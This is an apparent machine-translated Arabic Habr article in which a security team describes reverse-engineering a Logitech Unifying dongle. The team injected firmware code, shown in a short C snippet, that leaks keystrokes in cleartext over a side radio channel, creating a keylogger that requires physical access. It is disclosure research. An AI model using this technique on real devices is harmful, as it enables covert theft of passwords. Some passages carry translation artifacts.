اعتني بدونجلز: دراسة سلامة مستقبل لوحة مفاتيح Logitech

اعتني بدونجلز: دراسة سلامة مستقبل لوحة مفاتيح Logitech

من الناحية التاريخية ، يستخدم معظم الموظفين لوحات المفاتيح والفأرات اللاسلكية من لوجيتك. مرة أخرى عند إدخال كلمات المرور الخاصة بنا ، سألنا نحن المتخصصون في فريق Raccoon Security أنفسنا: ما مدى صعوبة تجاوز آليات الأمان للوحات المفاتيح اللاسلكية؟ كشف البحث الذي تم إجراؤه عن عيوب معمارية وأخطاء برمجية تسمح بالوصول إلى بيانات الإدخال. تحت الخفض - ما حصلنا عليه.

لماذا لوجيتك؟

في رأينا ، تعد أجهزة الإدخال من لوجيتك من بين أعلى مستويات الجودة والأكثر ملاءمة. تعتمد معظم الأجهزة التي لدينا على حل Logitech توحيد هو جهاز استقبال دونجل عالمي يسمح لك بتوصيل ما يصل إلى 6 أجهزة. يتم تمييز جميع الأجهزة المتوافقة مع تقنية Logitech Unifying مع الشعار المقابل. سهل الاستخدام تطبيق يسمح لك بإدارة توصيل لوحات المفاتيح اللاسلكية بجهاز الكمبيوتر الخاص بك. تتم تغطية عملية توصيل لوحة المفاتيح بمستقبل Logitech dongle ، وكذلك التقنية نفسها ، بالتفصيل ، على سبيل المثال ، هنا.

اعتني بدونجلز: دراسة سلامة مستقبل لوحة مفاتيح Logitech

لوجيتك يونيفينج دونجل ريسيفر

يمكن أن تصبح لوحة المفاتيح مصدر معلومات للمتطفلين. اعتنى Logitech ، مع الأخذ في الاعتبار التهديد المحتمل ، بالأمن - طبق خوارزمية تشفير AES128 في قناة الراديو الخاصة بلوحة المفاتيح اللاسلكية. الفكرة الأولى التي قد تزور المهاجم في هذه الحالة هي اعتراض المعلومات الأساسية أثناء إرسالها عبر الهواء أثناء إجراء الربط. بعد كل شيء ، إذا كان لديك مفتاح ، فيمكنك اعتراض إشارات الراديو الخاصة بلوحة المفاتيح وفك تشفيرها. ومع ذلك ، فمن النادر جدًا (أو أبدًا) أن يقوم المستخدم بربط لوحة المفاتيح بإجراء موحد ، وسيتعين على المتسلل الذي لديه راديو مسح ضوئي الانتظار لفترة طويلة. بالإضافة إلى ذلك ، ليس كل شيء بهذه البساطة في عملية الاعتراض نفسها. في أحدث دراسة أجريت في يونيو 2019 ، نشر خبير الأمن ماركوس مينجز على الإنترنت сообщение حول اكتشاف ثغرة أمنية في البرامج الثابتة القديمة من دونجل Logitech USB. يسمح للمهاجمين الذين لديهم وصول مادي إلى الأجهزة بالحصول على مفاتيح تشفير قنوات الراديو وحقن ضغطات المفاتيح (CVE-2019-13054).

سنغطي دراستنا الأمنية لدونجل Logitech استنادًا إلى Nordic Semiconductor's NRF24 SoC. ولنبدأ ، ربما ، بقناة الراديو نفسها.

كيف "تطير" البيانات في قناة الراديو

لتحليل التردد الزمني لإشارة الراديو ، استخدمنا مستقبل SDR على أساس جهاز Blade-RF في وضع محلل الطيف (يمكنك أيضًا القراءة عن هذا هنا).

اعتني بدونجلز: دراسة سلامة مستقبل لوحة مفاتيح Logitech

جهاز SDR Blade-RF

كما درسنا إمكانية تسجيل تربيعات إشارة الراديو بتردد وسيط لتحليلها بعد ذلك باستخدام طرق معالجة الإشارات الرقمية.

لجنة الدولة للترددات اللاسلكية في الاتحاد الروسي разрешен للاستخدام بواسطة الأجهزة قصيرة المدى في نطاق التردد 2400-2483,5 ميجا هرتز. هذا نطاق "مأهول" للغاية ، حيث لن تجد أي شيء: Wi-Fi ، و Bluetooth ، وجميع أنواع أجهزة التحكم عن بعد ، وأنظمة الأمان ، وأجهزة الكشف اللاسلكية ، والفأرة المزودة بلوحات مفاتيح وأجهزة رقمية لاسلكية أخرى.

اعتني بدونجلز: دراسة سلامة مستقبل لوحة مفاتيح Logitech

طيف النطاق الترددي 2,4 جيجا هرتز

حالة التداخل في النطاق معقدة نوعًا ما. على الرغم من ذلك ، تمكنت Logitech من توفير استقبال موثوق ومستقر باستخدام بروتوكول Enhanced ShockBurst في جهاز الإرسال والاستقبال NRF24 بالاقتران مع خوارزميات تكييف التردد.

يتم وضع القنوات في النطاق في مواضع MHz صحيحة كما هو محدد في مواصفة NRF24 Nordic Semiconductor - إجمالي 84 قناة في شبكة التردد. عدد قنوات التردد المستخدمة في وقت واحد من قبل لوجيتك أقل بالطبع. حددنا استخدام ما لا يقل عن أربعة. نظرًا للمدى المحدود لمحلل طيف الإشارة المستخدم ، لم يكن من الممكن تحديد القائمة الدقيقة لمواقع التردد المستخدمة ، لكن هذا لم يكن ضروريًا. يتم إرسال المعلومات من لوحة المفاتيح إلى مستقبل الدونجل في وضع الاندفاع (يتم تشغيل جهاز الإرسال القصير) باستخدام تعديل التردد ثنائي الموضع GFSK بمعدل رمز 1 Mbaud:

اعتني بدونجلز: دراسة سلامة مستقبل لوحة مفاتيح Logitech

إشارة راديو لوحة المفاتيح في عرض الوقت

يستخدم المستقبِل مبدأ الارتباط للاستقبال ، وبالتالي تحتوي الحزمة المرسلة على جزء التمهيد والعنوان. لا يتم تطبيق ترميز تصحيح الخطأ ، يتم تشفير جسم البيانات باستخدام خوارزمية AES128.

بشكل عام ، يمكن وصف الواجهة الهوائية للوحة المفاتيح اللاسلكية من Logitech بأنها غير متزامنة تمامًا مع تعدد إرسال التقسيم الإحصائي واستجابة التردد. هذا يعني أن جهاز إرسال لوحة المفاتيح يغير القناة لإرسال كل حزمة جديدة. لا يعرف جهاز الاستقبال مسبقًا وقت الإرسال أو قناة التردد ، ولكن فقط قائمة بها. يلتقي جهاز الاستقبال وجهاز الإرسال على القناة بفضل خوارزميات تجاوز التردد والاستماع المتفق عليها ، بالإضافة إلى آليات إقرار ShockBurst المحسّنة. لم نفحص ما إذا كانت قائمة القنوات ثابتة. من المحتمل أن التغيير يرجع إلى خوارزمية تكييف التردد. يتم تخمين شيء قريب من طريقة PRCH (الموالفة العشوائية الزائفة لتردد التشغيل) في استخدام مورد التردد للمدى.

وبالتالي ، في ظل ظروف عدم اليقين في التردد الزمني ، من أجل ضمان استقبال جميع إشارات لوحة المفاتيح ، سيحتاج المهاجم إلى المراقبة المستمرة لشبكة التردد بأكملها من نطاق 84 موقعًا ، الأمر الذي يتطلب تكاليف زمنية كبيرة. هنا يتضح سبب ثغرة استخراج مفتاح USB (CVE-2019-13054) في المصادر يتم وضعه كإمكانية حقن ضغطات المفاتيح ، بدلاً من الوصول من قبل المهاجم إلى البيانات التي يتم إدخالها من لوحة المفاتيح. من الواضح أن واجهة الراديو الخاصة بلوحة المفاتيح اللاسلكية معقدة للغاية وتوفر اتصالًا لاسلكيًا موثوقًا بين أجهزة Logitech في بيئة تداخل صعبة في النطاق 2,4 جيجا هرتز.

نظرة من الداخل على المشكلة

للبحث ، اخترنا واحدة من لوحات مفاتيح Logitech K330 المتوفرة لدينا ووحدة تحكم Logitech Unifying.

اعتني بدونجلز: دراسة سلامة مستقبل لوحة مفاتيح Logitech

لوجيتك كسنومكس

دعنا نلقي نظرة داخل لوحة المفاتيح. عنصر مثير للاهتمام على السبورة للبحث هو شريحة SoC NRF24 من Nordic Semiconductor.

اعتني بدونجلز: دراسة سلامة مستقبل لوحة مفاتيح Logitech

NRF24 SoC على لوحة المفاتيح اللاسلكية Logitech K330

يقع البرنامج الثابت في الذاكرة الداخلية ، ويتم إيقاف تشغيل آليات القراءة والتصحيح. لسوء الحظ ، لم يتم نشر البرنامج الثابت في المصادر المفتوحة. لذلك ، قررنا تناول المشكلة من الجانب الآخر - لدراسة المحتوى الداخلي لجهاز الاستقبال Logitech dongle.

"العالم الداخلي" لجهاز استقبال الدونجل مثير جدًا للاهتمام. يمكن تفكيك الدونجل بسهولة ، ويحمل على متن NRF24 المألوف لنا في الإصدار مع وحدة تحكم USB مدمجة ويمكن إعادة برمجته من جانب USB ومباشرة بواسطة المبرمج.

اعتني بدونجلز: دراسة سلامة مستقبل لوحة مفاتيح Logitech

دونجل لوجيتك بدون غطاء

نظرًا لوجود آلية تحديث برامج ثابتة منتظمة باستخدام أداة تحديث البرامج الثابتة (حيث يمكنك استخراج الإصدار المحدث من البرنامج الثابت) ، ليست هناك حاجة للبحث عن البرامج الثابتة داخل الدونجل.

ما تم القيام به: تم استخراج البرنامج الثابت RQR_012_005_00028.bin من نص تطبيق أداة تحديث البرامج الثابتة. للتحقق من سلامتها ، تم توصيل وحدة التحكم في الدونجل بواسطة حلقة إلى المبرمج ChipProg-48:

اعتني بدونجلز: دراسة سلامة مستقبل لوحة مفاتيح Logitech

كابل توصيل دونجل لوجيتك لمبرمج ChipProg 48

للتحكم في سلامة البرنامج الثابت ، تم وضعه بنجاح في ذاكرة وحدة التحكم وعمل بشكل صحيح ، وتم توصيل لوحة المفاتيح والماوس بالدونجل عبر Logitech Unifying. من الممكن تحميل البرامج الثابتة المعدلة باستخدام آلية التحديث القياسية ، حيث لا توجد آليات حماية مشفرة للبرنامج الثابت. لأغراض البحث ، استخدمنا اتصالاً ماديًا بالمبرمج ، لأن تصحيح الأخطاء بهذه الطريقة أسرع بكثير.

التحقيق في البرامج الثابتة والهجوم على مدخلات المستخدم

تم تصميم شريحة NRF24 استنادًا إلى نواة الحوسبة Intel 8051 في بنية هارفارد التقليدية. بالنسبة للنواة ، يعمل جهاز الإرسال والاستقبال كجهاز طرفي ويقع في مساحة العنوان كمجموعة من السجلات. يمكن العثور على وثائق للرقاقة وأمثلة من التعليمات البرمجية المصدر على الإنترنت ، لذا فإن تفكيك البرنامج الثابت ليس بالأمر الصعب. في سياق الهندسة العكسية ، قمنا بترجمة وظائف تلقي بيانات ضغط المفاتيح من قناة الراديو وتحويلها إلى تنسيق HID لإرسالها إلى المضيف عبر واجهة USB. في عناوين الذاكرة المجانية ، تم وضع رمز الحقن ، والذي تضمن أدوات لاعتراض التحكم وحفظ واستعادة سياق التنفيذ الأصلي ، بالإضافة إلى التعليمات البرمجية الوظيفية.

يتم فك تشفير حزمة الضغط أو تحرير مفتاح يتلقاها الدونجل من قناة الراديو ، وتحويلها إلى تقرير HID قياسي وإرسالها إلى واجهة USB من لوحة مفاتيح تقليدية. كجزء من الدراسة ، فإن الجزء من تقرير HID الذي يحتوي على بايت من أعلام التعديل ومجموعة من 6 بايت مع رموز ضغط المفاتيح هو الأكثر أهمية بالنسبة لنا (كمرجع ، معلومات حول HID هنا).

هيكل تقرير HID:

// Keyboard HID report structure.
// See https://flylib.com/books/en/4.168.1.83/1/ (last access 2018 december)
// "Reports and Report Descriptors", "Programming the Microsoft Windows Driver Model"
typedef struct{
    uint8_t Modifiers;
    uint8_t Reserved;
    uint8_t KeyCode[6];
}HidKbdReport_t;

مباشرة قبل تمرير بنية HID إلى المضيف ، يتلقى الكود المحقون التحكم ، ونسخ 8 بايت من بيانات HID الأصلية في الذاكرة وإرسالها إلى قناة الراديو الجانبية بنص واضح. في الكود يبدو كالتالي:

//~~~~~~~~~ Send data via radio ~~~~~~~~~~~~~~~~~~~~~~~~~>
// Profiling have shown time execution ~1.88 mSec this block of code
SaveRfState();                  // save transceiver state
RfInitForTransmition(TransmitRfAddress);        // configure for special trnsmition
hal_nrf_write_tx_payload_noack(pDataToSend,sizeof(HidKbdReport_t)); // Write payload to radio TX FIFO
CE_PULSE();                 // Toggle radio CE signal to start transmission
RestoreRfState();               // restore original transceiver state
//~~~~~~~~~ Send data via radio ~~~~~~~~~~~~~~~~~~~~~~~~~<

يتم تنظيم القناة الجانبية على التردد المحدد من قبلنا مع خصائص معينة لسرعة التلاعب وهيكل الرزم.

تشغيل جهاز الإرسال والاستقبال في شريحة NRF24 يعتمد على رسم بياني للحالة ، يتم فيه تسجيل بروتوكول تعزيز الصدمة المحسّن بشكل عضوي. وجدنا أن جهاز الإرسال والاستقبال كان في حالة IDLE قبل إرسال بيانات HID إلى واجهة USB المضيفة. هذا يجعل من الممكن إعادة تكوينه بأمان لتشغيل القناة الجانبية. تتجاوز الشفرة المحقونة التحكم وتحافظ على التكوين الأصلي لجهاز الإرسال والاستقبال بالكامل ويضعه في وضع إرسال جديد على القناة الجانبية. يتم تعطيل آلية إقرار ShockBurst المحسّن في هذا الوضع ، ويتم إرسال بيانات HID بنص واضح عبر الهواء. يظهر هيكل الحزمة في القناة الجانبية في الشكل أدناه ، ويتم الحصول على مخططات الإشارة بعد إزالة التشكيل وقبل استعادة ساعة البيانات. يتم اختيار قيمة العنوان لتسهيل التعرف البصري على الحزمة.

اعتني بدونجلز: دراسة سلامة مستقبل لوحة مفاتيح Logitech

إشارة انفجار انفجر منزوعة التشكيل في القناة الجانبية

بعد الانتهاء من إرسال الحزمة إلى القناة الجانبية ، يستعيد الكود المحقون حالة جهاز الإرسال والاستقبال. أصبح الآن جاهزًا للعمل بشكل طبيعي مرة أخرى في سياق البرنامج الثابت الأصلي.

في نطاقات التردد والتردد الزمني ، تبدو القناة الجانبية كما يلي:

اعتني بدونجلز: دراسة سلامة مستقبل لوحة مفاتيح Logitech

التمثيل الطيفي والتردد الزمني للقناة الجانبية

لاختبار تشغيل شريحة NRF24 مع البرامج الثابتة المعدلة ، قمنا بتجميع حامل يتضمن دونجل Logitech مع برنامج ثابت معدل ولوحة مفاتيح لاسلكية وجهاز استقبال تم تجميعه على أساس وحدة صينية مع شريحة NRF24.

اعتني بدونجلز: دراسة سلامة مستقبل لوحة مفاتيح Logitech

مخطط اعتراض راديو لوحة المفاتيح اللاسلكية من لوجيتك

اعتني بدونجلز: دراسة سلامة مستقبل لوحة مفاتيح Logitech

وحدة مقرها NRF24

على المنصة ، أثناء التشغيل العادي للوحة المفاتيح بعد توصيلها بجهاز Logitech dongle ، لاحظنا نقل البيانات المفتوحة بضربات المفاتيح في قناة الراديو الجانبية والنقل العادي للبيانات المشفرة في واجهة الراديو الرئيسية. وبالتالي ، تمكنا من توفير اعتراض مباشر لمدخلات لوحة مفاتيح المستخدم:

اعتني بدونجلز: دراسة سلامة مستقبل لوحة مفاتيح Logitech

نتيجة اعتراض إدخال لوحة المفاتيح

يُدخل الكود المحقون تأخيرات صغيرة في تشغيل البرنامج الثابت للمحول الرقمي. ومع ذلك ، فهي صغيرة جدًا بحيث يتعذر على المستخدم ملاحظتها.

كما تفهم ، يمكن استخدام أي لوحة مفاتيح من Logitech متوافقة مع التكنولوجيا الموحدة لمثل هذا الهجوم. نظرًا لأن الهجوم موجه إلى جهاز الاستقبال الموحد المضمن في معظم لوحات مفاتيح Logitech ، فهو مستقل عن طراز لوحة المفاتيح المحدد.

اختتام

تشير نتائج الدراسة إلى أن السيناريو قيد الدراسة يمكن أن يستخدمه المهاجمون: إذا استبدل أحد المتطفلين الضحية بجهاز استقبال دونجل للوحة مفاتيح لاسلكية من لوجيتك ، فسيكون قادرًا على اكتشاف كلمات المرور لحسابات الضحية بكل ما يترتب على ذلك. عواقب. لا تنس أنه من الممكن أيضًا حقن ضغطات المفاتيح ، مما يعني أنه ليس من الصعب تنفيذ تعليمات برمجية عشوائية على كمبيوتر الضحية.

ماذا لو تمكن المهاجم من تعديل البرامج الثابتة لأي جهاز Logitech dongle عبر USB عن بعد؟ بعد ذلك ، من الدونجل المتقاربة ، يمكنك إضافة شبكة من أجهزة إعادة الإرسال وزيادة مسافة التسرب. على الرغم من الوسائل الحديثة لاستقبال الراديو مع أنظمة انتقائية للغاية ، فإن أجهزة استقبال الراديو الحساسة ذات وقت ضبط التردد القصير والهوائيات الموجهة بشكل ضيق ستسمح للمهاجم "الآمن ماليًا" بـ "الاستماع" إلى إدخال لوحة المفاتيح والضغط على المفاتيح حتى من مبنى مجاور.

اعتني بدونجلز: دراسة سلامة مستقبل لوحة مفاتيح Logitech

معدات راديو مهنية

نظرًا لأن ارتباط البيانات اللاسلكية للوحة مفاتيح Logitech محمي تمامًا ، فإن ناقل الهجوم الذي تم العثور عليه يتطلب وصولًا ماديًا إلى جهاز الاستقبال ، مما يحد بشكل كبير من المهاجم. قد يكون خيار الحماية الوحيد في هذه الحالة هو استخدام آليات الحماية المشفرة للبرامج الثابتة لجهاز الاستقبال ، على سبيل المثال ، التحقق من توقيع البرنامج الثابت الذي تم تنزيله على جانب جهاز الاستقبال. ولكن ، للأسف ، لا يدعم NRF24 هذا ، ومن المستحيل تنفيذ الحماية ضمن بنية الجهاز الحالية. لذا اعتني بأجهزة دونجل الخاصة بك ، لأن خيار الهجوم الموصوف يتطلب وصولاً ماديًا إليها.

اعتني بدونجلز: دراسة سلامة مستقبل لوحة مفاتيح Logitech

Raccoon Security هو فريق متخصص من خبراء Vulkan STC في مجال أمن المعلومات العملي والتشفير والدوائر والهندسة العكسية وتطوير البرمجيات منخفضة المستوى.

المصدر: www.habr.com

إضافة تعليق